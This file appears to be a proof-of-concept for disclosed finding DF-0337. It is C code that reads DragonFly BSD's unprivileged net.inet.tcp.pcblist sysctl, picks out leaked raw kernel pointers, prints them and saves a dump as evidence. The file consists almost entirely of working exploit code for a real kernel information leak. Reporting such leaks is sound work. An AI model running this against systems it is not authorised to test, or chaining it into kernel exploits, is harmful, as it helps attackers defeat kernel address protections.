DF-0337 / leak_pcblist.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | /* * DF-0337 PoC - tcp_pcblist sysctl info leak * * sys/netinet/tcp_subr.c:1284-1293 tcp_pcblist() bcopy()s the ENTIRE * struct inpcb and struct tcpcb into the exported xtcpcb. Only * xt_socket is sanitized via sotoxsocket(). Every other kernel * pointer field (inp_socket, inp_ppcb, inp_pcbinfo, inp_hash list * links, inp_route.ro_rt, inp_options, inp_moptions, t_segq, * t_inpcb, tt_rexmt/persist/keep/2msl/delack callouts, tt_msg...) * is leaked raw to any unprivileged user. * * The sysctl is CTLFLAG_RD (net.inet.tcp.pcblist) so no privilege * is required. We open a TCP socket so at least one inpcb/tcpcb is * live, dump the sysctl, and count how many 8-byte words look like * kernel pointers (0xffff8...) -- those are raw kernel addresses. * * Build: cc -o leak_pcblist leak_pcblist.c * Run: ./leak_pcblist */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/socketvar.h> #include <netinet/in.h> #include <netinet/in_pcb.h> #include <netinet/tcp_var.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int is_kptr(unsigned long v) { /* * DragonFly 64-bit kernel pointers fall in two ranges: * text/data: 0xffffffff80000000 - 0xffffffffffffffff * heap/kmem: 0xfffff80000000000 - 0xfffffbffffffffff * Integer sentinel combos like 0xffffffff00000000 (inp_flow=0 | * inp_lgrpindex=-1) are NOT pointers and are excluded. */ if (v >= 0xffffffff80000000UL) return 1; /* kernel text/data */ if (v >= 0xfffff80000000000UL && v < 0xfffffc0000000000UL) return 1; return 0; } int main(void) { int s, error = 0; struct sockaddr_in sin; size_t len = 0; char *buf; /* Create a live TCP PCB so pcblist is non-empty. */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); return 2; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_len = sizeof(sin); sin.sin_port = 0; sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); /* bind() alone keeps an inpcb around without listening. */ if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); /* not fatal */ } /* First call: get length. */ if (sysctlbyname("net.inet.tcp.pcblist", NULL, &len, NULL, 0) < 0) { perror("sysctl len"); return 2; } if (len == 0) { fprintf(stderr, "pcblist empty (len=0)\n"); return 2; } buf = malloc(len); if (!buf) { perror("malloc"); return 2; } /* Second call: fetch. */ if (sysctlbyname("net.inet.tcp.pcblist", buf, &len, NULL, 0) < 0) { perror("sysctl get"); free(buf); return 2; } printf("pcblist total bytes: %zu\n", len); printf("sizeof(struct xtcpcb): %zu\n", sizeof(struct xtcpcb)); /* Walk the buffer as xtcpcb records; xt_len is the first field. */ size_t off = 0; int records = 0; unsigned long total_ptrs = 0; while (off + sizeof(size_t) <= len) { size_t rec_len = *(size_t *)(buf + off); if (rec_len == 0 || rec_len > len - off) break; if (rec_len < sizeof(struct xtcpcb)) { off += rec_len; continue; } records++; /* Scan every 8-byte aligned word in this record for kernel ptrs. */ unsigned char *r = (unsigned char *)(buf + off); for (size_t i = 0; i + 8 <= rec_len; i += 8) { unsigned long v; memcpy(&v, r + i, 8); if (is_kptr(v)) { total_ptrs++; if (total_ptrs <= 32) { /* print first few */ printf(" rec %d off %3zu: %016lx\n", records, i, v); } } } off += rec_len; } printf("records: %d\n", records); printf("LEAK: %lu kernel-pointer-sized words in pcblist output\n", total_ptrs); /* Save raw dump for the evidence pack. */ FILE *f = fopen("pcblist.dump", "wb"); if (f) { fwrite(buf, 1, len, f); fclose(f); } /* Decision: leak confirmed if >0 kernel pointers in any record. */ if (total_ptrs > 0) { printf("VERDICT: LEAK CONFIRMED (%lu kernel pointers exposed to unpriv user)\n", total_ptrs); error = 0; } else { printf("VERDICT: no kernel pointers found\n"); error = 1; } free(buf); close(s); return error; } |